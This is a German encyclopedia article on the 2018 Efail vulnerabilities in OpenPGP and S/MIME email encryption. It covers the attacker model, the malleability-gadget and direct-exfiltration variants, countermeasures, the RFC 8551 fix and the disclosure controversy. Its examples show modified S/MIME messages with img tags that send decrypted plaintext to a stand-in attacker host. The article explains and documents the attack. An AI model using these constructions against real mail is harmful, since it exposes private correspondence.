Efail
EFAIL | |
---|---|
| |
Typ | Software |
CVE-Nummer(n) | |
Datum der Entdeckung | 24. November 2017 |
Datum der Veröffentlichung | 13. Mai 2018 |
Produkt(e) |
Efail (Eigenschreibweise: EFAIL) sind zwei Sicherheitslücken in E-Mail-Systemen, mit denen Inhalte, trotz einer Ende-zu-Ende-Verschlüsselung, ausgelesen werden können. Die Lücken sind bei den beiden dafür üblichen Formate OpenPGP und S/MIME ausnutzbar. In Folge der Sicherheitslücken können Angreifer den Klartext verschlüsselter E-Mails nach der Entschlüsselung aus betroffenen E-Mail-Clients ausschleusen und an einen von ihnen kontrollierten Server übertragen. Die verwendeten Schlüssel werden nicht preisgegeben. Voraussetzung für einen erfolgreichen Angriff ist, dass das verwendete Verschlüsselungsverfahren angreifbar ist und das E-Mail-Programm aktive Inhalte wie bspw. HTML oder JavaScript ausführt und externe Inhalte nachlädt.
Die Sicherheitslücken wurden von Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky und Jörg Schwenk am 13. Mai 2018 als Beitrag zum 27th USENIX Security Symposium, Baltimore, August 2018, eingereicht und öffentlich gemacht.
Beschreibung
[Bearbeiten | Quelltext bearbeiten]Angreifermodell
[Bearbeiten | Quelltext bearbeiten]Der Angreifer benötigt für einen erfolgreichen Angriff Zugriff auf die anzugreifenden E-Mails in ihrer verschlüsselten Darstellung. Das kann z. B. durch fehlende Transportverschlüsselung (siehe z. B. Transport Layer Security) oder einen erfolgreichen Angriff auf den E-Mail-Provider gegeben sein. Zudem muss ein Angreifer die Möglichkeit haben, mindestens einem verwundbaren regulären Empfänger dieser E-Mail eine modifizierte Variante der E-Mail zu senden oder beim Transport dorthin oder an ihrem Speicherort zu modifizieren.
Variante 1 – Malleability Gadgets
[Bearbeiten | Quelltext bearbeiten]In der ersten Variante von Efail, dem Malleability-gadget-Angriff (von englisch malleability ‚Formbarkeit‘ und gadget, deutsch ‚Vorrichtung‘) nimmt der Angreifer gezielt Änderungen am Geheimtext vor, um neue Klartextblöcke in eine verschlüsselte E-Mail einzufügen. Diese Variante des Angriffs setzt voraus, dass das Verschlüsselungssystem keine Maßnahmen gegen Veränderungen des Geheimtexts einsetzt, wie bspw. Message Authentication Codes oder einen Modification Detection Code (MDC). Dann können solche Veränderungen auch ohne Kenntnis des privaten Schlüssels vorgenommen werden.
Der entstehende Klartext enthält dann neuen Text, wie z. B. ein HTML-<IMG>
-Tag, bei dessen Verarbeitung der E-Mail-Client den Klartext der E-Mail an einen Angreifer sendet.
Beispiel einer durch Malleability Gadgets modifizierten S/MIME-Nachricht:
Eine verschlüsselte S/MIME Nachricht hat nach der Modifikation durch den Angreifer die folgende Struktur (das Zeichen |
dient zur Veranschaulichung der AES Blockgrenzen):
MIME-Version: 1.0
Content-Type: application/pkcs7-mime;
smime-type=enveloped-data;
name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="smime.p7m"
|attackertextatta|ckertextattacker|
|textattackertext|attackertextatta|ckertextattacker|textattackertext|ENCRYPTEDMESSAGE|attackertextatta|
Nach Entschlüsselung der modifizierten Nachricht erhält der E-Mail-Client beispielsweise folgenden Klartext:
|Content-type: te|xt/html |
|<img ignore="|????????????????|" src="atta.ck/|????????????????|GEHEIMENACHRICHT|"> |
Der Gadget-Angriff führt dazu, dass zufällige Bytes (gekennzeichnet mit „?“) im Klartext produziert werden. Im obigen Beispiel werden diese daher über das nicht-existierende Attribut „ignore“ auskommentiert um Fehler beim Parsen zu vermeiden. Der E-Mail-Client sendet dann beim Nachladen des Bildes ungewollt den geheimen Klartext an den Angreifer. Der Malleability Gadget Angriff betrifft alle Formen der Verschlüsselung gemäß dem S/MIME Standard bis einschließlich Version 3.2, da erst 2019 mit Version 4.0 in Reaktion auf den Efail-Angriff ein Schutz vor Veränderungen des Ciphertext spezifiziert wurde. Bei der Verschlüsselung mit OpenPGP wird ein MDC mit allen aktuellen Verschlüsselungsverfahren standardmäßig eingesetzt, ist aber nicht zwingend vorgesehen. Der Standard überlässt zudem die Behandlung von fehlenden oder inkorrekten MDCs der Implementierung.[1][2]
Variante 2 – Direct Exfiltration
[Bearbeiten | Quelltext bearbeiten]Die zweite Variante, direct exfiltration, basiert auf einer fehlerhaften Implementierung des MIME-Standards in E-Mail-Clients und betrifft weder S/MIME noch OpenPGP direkt. Ein Angreifer fügt dazu vor und nach dem verschlüsselten Text gezielte Ergänzungen in die verschlüsselte E-Mail ein und verändert damit die Nachricht so, dass zum einen eine mehrteilige Nachricht nach dem MIME-Standard (multipart/mixed) entsteht und zum anderen der verschlüsselte Teil der Nachricht gemeinsam mit den Grenzmarkierungen der MIME-Nachricht als Parameterwert eines HTML-Tags auftaucht:
Beispiel einer für Direct Exfiltration modifizierten S/MIME-Nachricht:
Content-Type: multipart/mixed; boundary="BOUNDARY"
--BOUNDARY
Content-Type: text/html
<img src="http://attacker.chosen.url/
--BOUNDARY
MIME-Version: 1.0
Content-Type: application/pkcs7-mime;
smime-type=enveloped-data;
name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="smime.p7m"
ENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGE…
--BOUNDARY
Content-Type: text/html
">
--BOUNDARY--
Der E-Mail-Client zerlegt zunächst die mehrteilige Nachricht anhand der BOUNDARY
-Markierungen in ihre Einzelteile und entschlüsselt anschließend die verschlüsselten Teile. Anschließend setzt er die mehrteilige Nachricht wieder zusammen, um alle Teile in einem gemeinsamen Fenster anzeigen zu können. Der resultierende HTML-Code ist somit:[2]
[...]
<img src="http://attacker.chosen.url/
GEHEIMENACHRICHTGEHEIMENACHRICHTGEHEIMENACHRICHTGEHEIMENACHRICHT
">
[...]
Übertragung des Klartexts an den Angreifer
[Bearbeiten | Quelltext bearbeiten]In diesen Nachrichten stehen nun jeweils die entschlüsselten Inhalte der E-Mail im src=
-Attribut des <img>
-HTML-Tags und wird vom E-Mail-Programm beim Anfordern dieses Inhalts als URL an den vom Angreifer kontrollierten Webserver attacker.chosen.url
übergeben. Der Angreifer kann nun den Inhalt der verschlüsselten Nachricht bspw. aus den Logdateien entnehmen.
Gegenmaßnahmen (Workaround)
[Bearbeiten | Quelltext bearbeiten]Da die Sicherheitslücken sich gegen den Inhalt der E-Mail richten, und nicht gegen einen einzelnen Empfänger, ist es notwendig, dass alle Empfänger geeignete Gegenmaßnahmen umsetzen.
Als erschwerende Gegenmaßnahmen zählen u. a.:
- Deaktivierung aktiver Inhalte wie HTML oder JavaScript bei der E-Mail-Anzeige.
- Unterdrückung des automatischen Nachladens externer Inhalte, wie z. B. Bilder.
Inwiefern auch die Absender verschlüsselter Inhalte die Angreifbarkeit vermindern können, z. B. durch elektronische Signaturen, ist noch nicht abschließend geklärt.
Lösung für S/MIME
[Bearbeiten | Quelltext bearbeiten]Die durch Efail ausgelöste Debatte führte zu einer beschleunigten Weiterentwicklung des Standards S/MIME. Im April 2019 wurde S/MIME Version 4.0 veröffentlicht als RFC 8551, in der auch namentlich Efail genannt wird.[3] RFC 8551 empfiehlt, so schnell wie möglich auf AES-GCM zu wechseln.[3]
Kritik
[Bearbeiten | Quelltext bearbeiten]In der Ankündigung der Sicherheitslücke am 13. Mai 2018 hat die Electronic Frontier Foundation (EFF) empfohlen, vorerst auf PGP-Plugins in E-Mail-Programmen zu verzichten.[4][5] Die Veröffentlichung hätte abgestimmt erst am 15. Mai erfolgen sollen. Dieses Vorgehen wurde vielfach kritisiert bzw. kontrovers diskutiert.[6][7][8][9] In sozialen Netzwerken hat sich ein Shitstorm gegen die EFF entwickelt.[10] In einem Essay empfiehlt Robert Hansen eine geschlossene Gruppe, z. B. in Form einer Mailingliste, einzurichten, um zukünftige Veröffentlichungen von Sicherheitslücken im Vorfeld besser koordinieren zu können. Trotz seiner Verärgerung über die EFF, sieht er diese als bestes Organ an, eine solche OpenPGP Disclosure Group zu verwalten, und spricht konkret deren Direktor, Danny O’Brien, an.[11]
Literatur
[Bearbeiten | Quelltext bearbeiten]- Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky, Jörg Schwenk: Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels. 2018, ISBN 978-1-939133-04-5 (englisch, efail.de [PDF]).
Weblinks
[Bearbeiten | Quelltext bearbeiten]- efail.de – Homepage der Sicherheitslücke.
- eFail-Schwachstellen in den Implementierungen von OpenPGP und S/MIME. (PDF; 4,05 MB) In: Die Lage der IT-Sicherheit in Deutschland 2018. Bundesamt für Sicherheit in der Informationstechnik, September 2018, S. 83 .
- Daniel Kahn Gillmor: Encrypted Email and Security Nihilism. In: aclu.org. 18. Mai 2018 (englisch, E-Mail-Verschlüsselung und Sicherheitsnihilismus. In: digitalcourage.de. 21. Mai 2018 . ).
Einzelnachweise
[Bearbeiten | Quelltext bearbeiten]- ↑ David Shaw, Lutz Donnerhacke, Rodney Thayer, Hal Finney, Jon Callas: RFC – OpenPGP Message Format. November 2007, Abschnitt 5.13 (englisch).
- ↑ a b Carsten Eilers: EFAIL: Angriff auf verschlüsselte Mails – Wie funktioniert EFAIL und wie schlimm ist das alles wirklich? In: entwickler.de. Software & Support Media GmbH, 27. Dezember 2018, abgerufen am 29. März 2019.
- ↑ a b RFC – Secure/Multipurpose Internet Mail Extensions (S/MIME) Version 4.0 Message Specification. April 2019 (englisch).
- ↑ EFF on Twitter. In: Twitter. 13. Mai 2018, abgerufen am 17. Mai 2018 (englisch). “To protect yourself, EFF highly recommends that for now you uninstall or disable your PGP email plug-in.”
- ↑ Danny O’Brien, Gennie Gebhart: Attention PGP Users: New Vulnerabilities Require You To Take Action Now. Electronic Frontier Foundation, 13. Mai 2018, abgerufen am 17. Mai 2018 (englisch).
- ↑ Kommentar: Efail ist ein EFFail. In: heise online. 16. Mai 2018, abgerufen am 17. Mai 2018.
- ↑ Fabian A. Scherschel: Enigmail-Chefentwickler im Interview: Efail-Veröffentlichung war „unüberlegt“. In: heise Security. 15. Mai 2018, abgerufen am 17. Mai 2018.
- ↑ Werner Koch (OpenPGP): Efail or OpenPGP is safer than S/MIME. In: gnupg-users. 14. Mai 2018, abgerufen am 17. Mai 2018 (englisch).
- ↑ Matthew Green: Was the Efail disclosure horribly screwed up? In: blog.cryptographyengineering.com (Hrsg.): A Few Thoughts on Cryptographic Engineering. 17. Mai 2018 (englisch, cryptographyengineering.com [abgerufen am 17. Mai 2018]).
- ↑ Hashtag #EFFail auf Twitter. Abgerufen am 17. Mai 2018.
- ↑ Robert Hansen: Efail: A Postmortem. In: medium.com. 20. Mai 2018, abgerufen am 21. Mai 2018.